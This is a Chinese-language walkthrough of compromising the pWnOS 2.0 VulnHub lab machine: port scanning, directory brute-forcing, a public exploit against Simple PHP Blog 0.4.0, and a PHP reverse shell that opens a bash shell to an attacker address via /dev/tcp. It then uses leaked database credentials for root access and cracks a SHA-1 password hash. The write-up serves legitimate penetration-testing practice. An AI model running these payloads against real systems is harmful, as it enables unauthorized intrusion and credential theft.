PWNOS:2.0(vulnhub靶机)

文章目录

  • 靶机地址
  • 主机发现、端口扫描
  • web渗透
    • 目录探测
    • 漏洞利用
    • 权限提升
  • 解密工具地址
  • 总结

靶机地址

https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z

这里如果是windows系统直接使用vmware或者virtubox打开可以使用,如果是mac系统需再去做一个配置,比较麻烦

这里给一个参考地址:https://blog.csdn.net/qq_35664104/article/details/131757633

主机发现、端口扫描

han@Kali:~/RedTeam$ sudo arp-scan -l 
han@Kali:~/RedTeam$ sudo nmap -sn 192.168.100.0/24

在这里插入图片描述
通过主机发现扫描到了主机的ip地址,进一步进行端口扫描以及下一步的利用:


han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap --min-rate 10000 192.168.100.104 -p- #使用-p-扫描全端口,min-rate是扫描速率
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap -sT -A -O -p22,80 192.168.100.104   #-sT是建立tcp扫描(全连接扫描) -A是全面扫描检测包括版本号,操作系统,同时还会利用脚本扫描 -O 是探测操作系统类型 -p时端口号
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap -sU -p22,80 192.168.100.104  #-U参数是建立UDP扫描
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap --script=vlun 192.168.100.104    #--script=vuln 使用脚本扫描用于常见的漏洞的探测

第一步扫描我们很清晰的看到有80端口和22端口
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
到这里我们可以清晰的看到,80端口给我们暴露的攻击面比22端口多,这里我们吧22端口的优先级排后,使用80尝试渗透

web渗透

目录探测

这里介绍3个工具的探测,其实web目录探测工具很多,根据自己的习惯来写就好了

han@Kali:~/RedTeam/PWNOS:2.0$ sudo gobuster dir -u http://192.168.100.104 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
han@Kali:~/RedTeam/PWNOS:2.0$ sudo dirsearch -u http://192.168.100.104
han@Kali:~/RedTeam/PWNOS:2.0$ sudo dirb http://192.168.100.104

这里也只是根据我自己的一些习惯给到的一些参数,这里可以根据自己的需求,结合ai等来做一些具体的配置更好的配合我们来做渗透测试

在这里插入图片描述

在这里插入图片描述
这里同理,对blog目录进行探测
在这里插入图片描述

http://192.168.100.104/blog/
http://192.168.100.104/blog/config
http://192.168.100.104/includes
http://192.168.100.104/index.php
http://192.168.100.104/login

漏洞利用


在这里尝试使用sql inject 但是…在这里插入图片描述在这里插入图片描述
到此好像这一个利用手法没有后续可以利用的点,所以这里准备换方法
这里我们看到了有blog的一个目录,还有一个登陆框
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里也并没有可利用的,这里想到blog目录可能是一个cms,需要我们做一个信息收集

han@Kali:~/RedTeam/PWNOS:2.0$ whatweb http://192.168.100.104/blog

在这里插入图片描述
这里我们发现了是Simple PHP Blog 0.4.0 cms 所以这里可以尝试从这里入手

han@Kali:~/RedTeam/PWNOS:2.0$ searchsploit Simple PHP Blog 0.4.0

在这里插入图片描述
这里看到了有一个rb 一个pl可以使用

使用search -m 1191.pl将其下载到本地

在这里插入图片描述
这里给我们提示,需要加入地址和参数e,我们尝试构造

这里提到可以使用2来得到一个密码文件的hash值 使用3能创建一个用户密码,所以这里使用3来创建用户密码尝试看能不能使用login登陆框来登陆

han@Kali:~/RedTeam/PWNOS:2.0$ ./1191.pl -h http://192.168.100.104/blog -e 2

这里使用-h要加入url地址,并且使用/blog目录,起初在这里尝试了很多次都出现了问题,后来发现是必须使用/blog才能成功

han@Kali:~/RedTeam/PWNOS:2.0$ ./1191.pl -h http://192.168.100.104/blog -e 3 -U admin -P admin

在这里插入图片描述
这里提示我们设置了admin用户和admin密码,这里尝试使用登陆在这里插入图片描述
这是好事,登陆成功了,这里我们看到是有一个上传的接口,这也是好事!

han@Kali:~/RedTeam/PWNOS:2.0$ echo '<?php exec("/bin/bash -c '\''bash -i >& /dev/tcp/192.168.100.106/4444 0>&1'\''");?>' > reverse_shell.php                                                                                                                                                                     
han@Kali:~/RedTeam/PWNOS:2.0$ cat reverse_shell.php 

由于这里是使用echo来输入 ,所以需要使用转义符号来
在 Shell 中使用 单引号 包裹整个 PHP 内容,此时内部的单引号需要通过 ‘’’ 转义 转义之后才是我们的‘
因为这里存在上传点而且是php的环境,所以我们尝试使用php代码来执行反弹shell,这里还可以使用msf生成反弹shell上线msf,也可以使用webshell工具来执行,根据自己的需求,也根据环境的不同来选择

在这里插入图片描述

针对上面命令做一个简单的介绍:

<?php ?> 这里头的代码会被当作php语句而执行

exec()函数是php中用于执行系统命令的函数
/bin/bash -c 通过-c参数来执行后续的字符串命令
bash -i >& /dev/tcp/… 我们熟悉的反弹shell命令
bash -i 启动交互式的shell
/dev/tcp/是linux的特殊设备,用于建立TCP连接
>&是将标准输出和标准的错误重定向到TCP连接
0>&1 将标准输入重定向到标准输出,形成双向通信通道

上传反弹即可

han@Kali:~/RedTeam/PWNOS:2.0$ nc -lnvvp 4444

在这里插入图片描述
在这里插入图片描述

权限提升

这里可以看到已经得到shell,需要我们进一步进行提权了
在这里插入图片描述
非常好我们找到了一个有意义的文件

mysql连接的文件
root
goodday

在这里插入图片描述
这里就可以尝试登陆,mysql或者是使用22端口ssh登陆,这里就是可以想到的思路
在这里插入图片描述
在这里插入图片描述
但是非常遗憾,这里都不能登陆,思路再次断了

这里就只能做进一步的信息收集了

在这里插入图片描述

说来也巧,这里刚回退到上一个目录,又发现了一个mysql的连接文件

在这里插入图片描述

还是root,但是密码不同了
root
root@ISIntS

尝试登陆

非常好,使用root@ISIntS 这个密码直接登陆成功了,还是root权限

这里其实我想到,既然有数据库连接文件,就应该是和数据库有什么关系,所以这里就又进行了一些信息收集

在这里插入图片描述
但是这里卡着没反应了

当时 的第一反应我以为是密码错了,可是后来一直卡着没反应,没办法只好重新反弹,我突然想到会不会是终端不友好的问题,所以我尝试使用了python来启动一个交互好点的终端

在这里插入图片描述
这是好事,可以使用python起一个终端

www-data@web:/var/www/blog/images$ python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

这里和我们想的是一样的

在数据库中给你做一波信息收集

mysql> show databases;
mysql> use ch16;
mysql> select * from users;

在这里插入图片描述

这里得到了一个用户Dan的密码c2c4b4e51d9e23c02c15702c136c3e950ba9a4af

han@Kali:~/RedTeam/PWNOS:2.0$ hash-identifier 'c2c4b4e51d9e23c02c15702c136c3e950ba9a4af'

使用hash-identifier来识别一下hash值是哪种加密类型,方便我们去判断如何解密

在这里插入图片描述
这里是sha-1加密类型,这里需要使用工具来尝试了

解密工具地址

https://www.somd5.com/

在这里插入图片描述

成功得到密码:killerbeesareflying

尝试登陆ssh

在这里插入图片描述

很遗憾这里登录不成功

看来这里就只有通过root直接登陆,而dan用户没有更多的后续了,那就到此为止了!

总结

整体来说,就是要有一个渗透测试思路,最重要的还是思路,需要我们多多重复多多练习才有思路,文章只做技术交流,希望对各位有帮助!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/80438.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Gartner魔力象限(Gartner Magic Quadrant)

Gartner魔力象限&#xff08;Gartner Magic Quadrant&#xff09;是由全球领先的研究和咨询公司Gartner发布的市场研究报告&#xff0c;广泛应用于IT行业&#xff0c;尤其是在技术供应商评估中。它以图形化的方式展示了不同技术领域中各个供应商的市场表现&#xff0c;帮助企业…

信创时代开发工具选择指南:国产替代背景下的技术生态与实践路径

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家、CSDN平台优质创作者&#xff0c;高级开发工程师&#xff0c;数学专业&#xff0c;10年以上C/C, C#, Java等多种编程语言开发经验&#xff0c;拥有高级工程师证书&#xff1b;擅长C/C、C#等开发语言&#xff0c;熟悉Java常用开…

人口老龄化丨AI健康小屋如何实现防病于未然​

随着全球老龄化加剧&#xff0c;“银发浪潮” 对医疗资源、养老护理和健康管理提出了严峻挑战。 由此智绅科技应运而生&#xff0c;七彩喜智慧养老系统构筑居家养老安全网。 AI 健康小屋作为银发科技的创新载体&#xff0c;通过智能化健康监测、精准化风险预警、便捷化医疗衔…

【金仓数据库征文】金仓数据库:开启未来技术脑洞,探索数据库无限可能

我的个人主页 我的专栏&#xff1a; 人工智能领域、java-数据结构、Javase、C语言&#xff0c;希望能帮助到大家&#xff01;&#xff01;&#xff01; 点赞&#x1f44d;收藏❤ 目录 引言&#xff1a;数据库进化的下一站 —— 未来科技的无限可能金仓数据库简介&#xff1a;国…

#什么是爬虫?——从技术原理到现实应用的全面解析 VI

什么是爬虫?——从技术原理到现实应用的全面解析 V 二十六、异构数据采集技术突破 26.1 PDF文本与表格提取 import pdfplumber import pandas as pddef extract_pdf_data(pdf_path):"""从PDF中提取文本和表格数据:param pdf_path: PDF文件路径:return: 包含…

关于Spring Boot构建项目的相关知识

一 前端框架 1 VUE框架 1.1 简介 Vue是一款流行的JavaScript框架&#xff0c;用于构建用户界面和单页面应用程序。它的设计初衷是为了简化Web开发过程&#xff0c;使开发者能够快速构建交互性强、响应速度快的Web应用。 1.2 优点 简单易用&am…

PPO 强化学习机械臂 IK 训练过程可视化利器 Tensorboard

视频讲解&#xff1a; PPO 强化学习机械臂 IK 训练过程可视化利器 Tensorboard PPO 强化学习过程中&#xff0c;设置了verbose会显示数据&#xff0c;但还是不够直观&#xff0c;这里上一个可视化利器&#xff0c;Tensorboard&#xff0c;实际上stable baselines3中已经有了这部…

UE5的 Modify Curve 蓝图节点

In Unreal Engine’s Animation Blueprints, the Modify Curve node lets you drive and alter any named Animation Curve on your character at runtime. The Apply Mode setting on that node controls how the “new” value you feed in (via the added curve‐input pin)…

【Hive入门】Hive分区与分区表完全指南:从原理到企业级实践

引言 在大数据时代&#xff0c;高效管理海量数据成为企业面临的核心挑战。Hive作为Hadoop生态系统中最受欢迎的数据仓库解决方案&#xff0c;其分区技术是优化数据查询和管理的关键手段。本文将全面解析Hive分区技术的原理、实现方式及企业级最佳实践&#xff0c;帮助您构建高性…

jdk-8u202-linux-x64.tar.gz官方下载地址

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html 点击下载&#xff0c;需要先注册oracle账号&#xff0c;很好注册随便写&#xff0c;注册完登录就可以下载了。目前就Oracle JDK 8u201/202 是最后两个可免费用于商业用途的公开版本

OpenCv高阶(十)——光流估计

文章目录 前言一、光流估计二、使用步骤1、导库读取视频、随机初始化颜色2、初始化光流跟踪3、视频帧处理循环4、光流计算与可视化5、循环控制与资源释放完整代码 总结 前言 在计算机视觉领域&#xff0c;光流估计是捕捉图像序列中像素点运动信息的核心技术。它描述了图像中每…

AIGC实战之如何构建出更好的大模型RAG系统

一、RAG 系统核心架构解析 1. 检索模块深度优化 1.1 混合检索技术实现 技术原理&#xff1a;结合稀疏检索&#xff08;BM25&#xff09;与密集检索&#xff08;DPR&#xff09;&#xff0c;通过动态权重分配提升检索精度。例如&#xff0c;在医疗领域&#xff0c;BM25 负责精…

Rust 学习笔记:函数和控制流

Rust 学习笔记&#xff1a;函数和控制流 Rust 学习笔记&#xff1a;函数和控制流函数&#xff08;Function&#xff09;语句和表达式带返回值的函数注释控制流if 表达式使用 else if 处理多个条件在 let 语句中使用 if循环loop从循环中返回值循环标签消除多个循环之间的歧义带 …

c#加密证件号的中间部分,改为*号

前言 使用场景&#xff1a;在我项目中&#xff0c;我需要给前端提供接口&#xff0c;所以我要吧证件号进行加密。例如&#xff1a;411421199510225612&#xff0c;这是一个身份证号&#xff0c;18为的&#xff0c;那么我加密完成之后就会是 411421********5612&#xff0c;类似…

存储新势力:助力DeepSeek一体机

宝子们&#xff0c;今天要给大家分享一个超酷的科技话题——各大厂商陆续推出的DeepSeek训推一体机方案。 【集成人工智能训推平台】 它就像是一个超级智能的大脑中枢&#xff0c;为各种复杂的AI任务搭建AI模型流水线。预置算法模版、训练框架、推理框架、模型任务调度和自动…

同样机身尺寸下伺服电机比无刷电机扭矩更大的原因

点击下面图片带您领略全新的嵌入式学习路线 &#x1f525;爆款热榜 88万阅读 1.6万收藏 在电机应用领域&#xff0c;伺服电机和无刷电机&#xff08;BLDC&#xff09;都是常见的动力源&#xff0c;但两者在性能上存在显著差异。尤其是在相同机身尺寸下&#xff0c;伺服电机的…

.dat 文件一般可以用什么打开

DAT文件是一种常见的文件格式,通常由多种应用程序生成。打开DAT文件的方法取决于其内容和生成它的软件。 使用文本编辑器 如果DAT文件是一个简单的文本文件,可以使用Windows的记事本或macOS的文本编辑器打开它。 右键点击文件 -> 选择“打开方式” -> 选择“记事本”…

Java实现加密(七)国密SM2算法的签名和验签(附商用密码检测相关国家标准/国密标准下载)

目录 一、国密标准中&#xff0c;关于SM2签名验签的定义二、SM2签名和验签的实现原理1. 前置知识2. 签名生成过程3. 验签过程4. 数学正确性证明5. 安全性与注意事项 三、带userId、不带userId的区别1. 核心区别2.算法区别(1) 哈希计算过程(2) 签名验签流程 四、Java代码实现1. …

Feign接口调用失败降级机制

是的&#xff0c;通过 FallbackFactory 实现的降级逻辑在 Feign 接口调用失败时会被触发&#xff0c;但需要注意以下关键点以确保降级生效&#xff1a; 一、代码有效性分析 降级逻辑是否生效&#xff1f; • 是的&#xff0c;当 Feign 调用 BaseServiceFeign 接口的 updateMoni…